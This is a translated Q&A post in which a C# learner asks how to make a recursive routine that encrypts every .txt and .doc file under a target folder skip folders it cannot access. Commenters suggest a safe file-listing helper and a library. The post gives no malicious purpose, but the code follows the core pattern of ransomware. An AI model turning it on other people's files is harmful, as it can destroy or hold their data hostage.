【发布时间】:2018-10-10 10:18:17
【问题描述】:
我希望我的代码跳过或关闭由于任何原因而出现错误的文件夹。目前,此代码可以正确扫描文件夹,但如果任何文件夹出现错误则停止。主要是隐藏文件夹。
我发现了这些几乎相同的问题,但这些答案只指向不同的方向,没有实现我需要的解决方案,而且我似乎无法在我的代码中实现任何解决方案。我已经敲了 3 天头了。
ignore "Unauthorized Access" " function Directory.GetDirectories()"
How to exclude folders when using Directory.GetDirectories
Ignore folders/files when Directory.GetFiles() is denied access
我的代码是:
//encrypts target directory
public void encryptDirectory(string location, string password)
{
//extensions to be encrypt
var validExtensions = new[]
{
".txt", ".doc"
};
string[] files = Directory.GetFiles(location);
string[] childDirectories = Directory.GetDirectories(location);
for (int i = 0; i < files.Length; i++){
string extension = Path.GetExtension(files[i]);
if (validExtensions.Contains(extension))
{
EncryptFile(files[i],password);
}
}
for (int i = 0; i < childDirectories.Length; i++){
encryptDirectory(childDirectories[i],password);
}
}
我认为可能最接近的答案是: ignore "Unauthorized Access" " function Directory.GetDirectories()"
将此代码应用于文件:
private static string[] GetFilesSafe(string location) {
try {
return Directory.GetFiles(location);
} catch (UnauthorizedAccessException ex) {
Console.Error.WriteLine(ex.Message);
return new string[0];
}
}
有人可以帮助我了解我需要什么才能在我的代码中实施这种类型的解决方案或其他应用到文件夹的解决方案吗?我知道这不是最有效的学习方式,但对时间很敏感。感谢您/任何帮助。
【问题讨论】:
-
在您提供的
GetFilesSafe方法实现中,您究竟不清楚什么? -
我不知道在哪里放什么。我在学习如何使用的视觉工作室中尝试不同的组合,我到处都看到错误。为不知道如何编码而道歉。
-
如果您对第三方解决方案感兴趣,有一个名为 AlphaFS 的库(可通过 nuget 获得)让您指定选项以自动跳过无法访问的目录/文件。我不隶属,只是一个快乐的用户
-
谢谢,我去看看。无论如何,我确定这一定是一个非常简单的问题,我可以使用 ruby on rails,这是一个不平凡的问题。
标签: c#